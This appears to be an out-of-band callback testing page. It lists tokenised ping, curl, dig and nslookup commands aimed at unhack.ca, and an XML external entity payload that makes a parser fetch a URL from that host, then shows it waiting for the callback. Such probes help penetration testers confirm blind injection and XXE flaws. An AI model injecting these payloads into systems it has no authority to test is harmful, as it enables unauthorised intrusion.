$ ping -c1 -p 00aff610eac04b6222097351d4b8eb00 unhack.ca
 
$ curl http://unhack.ca/p/aff610eac04b6222097351d4b8eb
 
$ dig aff610eac04b6222097351d4b8eb @unhack.ca
 
$ dig aff610eac04b6222097351d4b8eb.ns.unhack.ca
 
C:\> nslookup aff610eac04b6222097351d4b8eb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aff610eac04b6222097351d4b8eb">]>
    <foo>&xxe;</foo>
Waiting for ping...